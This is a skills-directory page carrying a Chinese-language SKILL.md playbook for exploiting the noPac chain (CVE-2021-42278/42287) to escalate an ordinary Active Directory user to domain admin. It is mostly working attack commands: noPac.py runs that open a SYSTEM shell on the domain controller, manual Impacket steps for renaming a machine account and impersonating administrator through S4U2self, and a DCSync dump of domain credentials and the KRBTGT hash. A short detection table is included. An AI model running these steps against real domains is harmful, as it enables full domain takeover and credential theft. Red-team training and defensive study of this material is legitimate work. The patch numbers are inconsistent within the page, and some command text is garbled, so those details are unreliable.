L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Productivité · SKILL.md

exploiting-nopac-cve-2021-42278-42287

exploiting-nopac-cve-2021-42278-42287

利用 noPac 漏洞链(CVE-2021-42278 sAMAccountName 欺骗和 CVE-2021-42287 KDC PAC 混淆),在活动目录环境中从普通域用户提升至域管理员权限。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: exploiting-nopac-cve-2021-42278-42287 description: 利用 noPac 漏洞链(CVE-2021-42278 sAMAccountName 欺骗和 CVE-2021-42287 KDC PAC 混淆),在活动目录环境中从普通域用户提升至域管理员权限。 domain: cybersecurity subdomain: red-teaming tags: [red-team, active-directory, nopac, cve-2021-42278, cve-2021-42287, privilege-escalation, domain-escalation] version: "1.0" author: mahipal license: Apache-2.0

利用 noPac(CVE-2021-42278 / CVE-2021-42287)

概述

noPac 是一个严重的漏洞利用链,结合了两个活动目录漏洞:CVE-2021-42278(sAMAccountName 欺骗)和 CVE-2021-42287(KDC PAC 混淆)。两者合并可以让任何经过认证的域用户提升至域管理员权限,可能在 60 秒内实现完整域入侵。CVE-2021-42278 允许攻击者修改机器账户的 sAMAccountName 属性以匹配域控制器的名称(去掉末尾的 $)。CVE-2021-42287 利用 Kerberos PAC 验证中的缺陷,当 KDC 找不到重命名的账户时,会自动附加 $ 并为域控制器账户签发票据。微软于 2021 年 11 月修补了这两个漏洞(KB5008380 和 KB5008602),但许多环境仍未打补丁。该漏洞由 cube0x0 和 Ridter 于 2021 年 12 月公开发布。

目标

  • 扫描目标域以检测 noPac 漏洞(CVE-2021-42278/42287)
  • 创建或利用具有修改后 sAMAccountName 的机器账户
  • 利用 KDC PAC 混淆获取域控制器的 TGT
  • 使用 DC 票据执行 DCSync 并转储域凭据
  • 从普通域用户账户获得域管理员访问权限
  • 记录包含证据的完整利用链

MITRE ATT&CK 映射

  • T1068 - 利用漏洞进行权限提升
  • T1136.002 - 创建账户:域账户
  • T1078.002 - 有效账户:域账户
  • T1558 - 窃取或伪造 Kerberos 票据
  • T1003.006 - 操作系统凭据转储:DCSync

实施步骤

阶段一:漏洞扫描

  1. 使用 noPac 扫描器检查域是否易受攻击:
    # 使用 cube0x0 的 noPac 扫描器
    python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
    
    # 使用 CrackMapExec 模块
    crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
    
  2. 验证 MachineAccountQuota(默认为 10,允许任何用户加入计算机):
    # 通过 LDAP 检查 MachineAccountQuota
    python3 -c "
    import ldap3
    server = ldap3.Server('10.10.10.1')
    conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
    conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
    print(conn.entries[0]['ms-DS-MachineAccountQuota'])
    "
    

阶段二:使用 noPac 工具利用

  1. 运行完整的 noPac 漏洞利用链:
    # 使用 cube0x0 的 noPac(在 DC 上获取 shell)
    python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
      -dc-host DC01 -shell --impersonate administrator -use-ldap
    
    # 使用 Ridter 的 noPac(替代实现)
    python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
      --impersonate administrator -dump
    
  2. 该漏洞利用工具自动:
    • 创建新的机器账户(或使用现有的)
    • 将机器账户的 sAMAccountName 重命名为与 DC 匹配(如 "DC01")
    • 为欺骗的账户名请求 TGT
    • 恢复原始 sAMAccountName
    • 使用 S4U2self 获取模拟目标用户的服务票据
    • KDC 找不到匹配 "DC01" 的账户,回退到 "DC01quot;(真实 DC)

阶段三:后渗透

  1. 使用获得的域控制器票据执行 DCSync:
    # 使用 Kerberos 票据通过 secretsdump.py 进行 DCSync
    export KRB5CCNAME=administrator.ccache
    secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
    
    # 或直接通过 noPac shell(shell 以 SYSTEM 身份在 DC 上运行)
    
  2. 或者,获取半交互式 shell:
    python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
      -dc-host DC01 -shell --impersonate administrator -use-ldap
    

阶段四:手动利用步骤

  1. 创建机器账户:
    addcomputer.py -computer-name 'ATTACKPC#x27; -computer-pass 'AttackPass123' \
      -dc-ip 10.10.10.1 domain.local/user:'Password123'
    
  2. 清除 SPN 并重命名 sAMAccountName:
    # 将机器账户的 sAMAccountName 重命名为 DC 名称(不含 $)
    renameMachine.py -current-name 'ATTACKPC#x27; -new-name 'DC01' \
      -dc-ip 10.10.10.1 domain.local/user:'Password123'
    
  3. 为欺骗的名称请求 TGT:
    getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'
    
  4. 恢复原始机器名称:
    renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC#x27; \
      -dc-ip 10.10.10.1 domain.local/user:'Password123'
    
  5. 使用 S4U2self 进行模拟:
    export KRB5CCNAME=DC01.ccache
    getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
      -k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC#x27;
    

工具与资源

工具用途平台
noPac(cube0x0)自动化扫描器和利用工具Python
noPac(Ridter)替代漏洞利用实现Python
ImpacketKerberos 票据操控、DCSyncPython
CrackMapExec漏洞扫描模块Python
RubeusWindows Kerberos 票据操作Windows(.NET)
secretsdump.py后渗透凭据转储Python

CVE 详情

CVE描述CVSS补丁
CVE-2021-42278sAMAccountName 欺骗(机器账户)7.5KB5008102
CVE-2021-42287KDC PAC 混淆/权限提升7.5KB5008380

检测特征

指标检测方法
机器账户 sAMAccountName 更改带 sAMAccountName 修改的事件 4742(计算机账户已更改)
新机器账户创建事件 4741(计算机对象已创建)
不带末尾 $ 的账户的 TGT 请求Kerberos 审计日志分析
来自非 DC 机器账户的 S4U2self 请求带异常服务票据请求的事件 4769
快速序列:创建账户、重命名、请求 TGT针对 noPac 攻击模式的 SIEM 关联规则

验证标准

  • 已扫描域以检测 noPac 漏洞
  • 已验证 MachineAccountQuota(默认 10)
  • 漏洞利用已成功执行(获取 shell 或 DCSync)
  • 已从普通用户获得域管理员权限
  • 已执行 DCSync 以转储域凭据
  • 已获取 KRBTGT 哈希用于持久化验证
  • 已记录包含时间戳的攻击链
  • 已验证补丁状态(KB5008380、KB5008602)
Skills enregistrées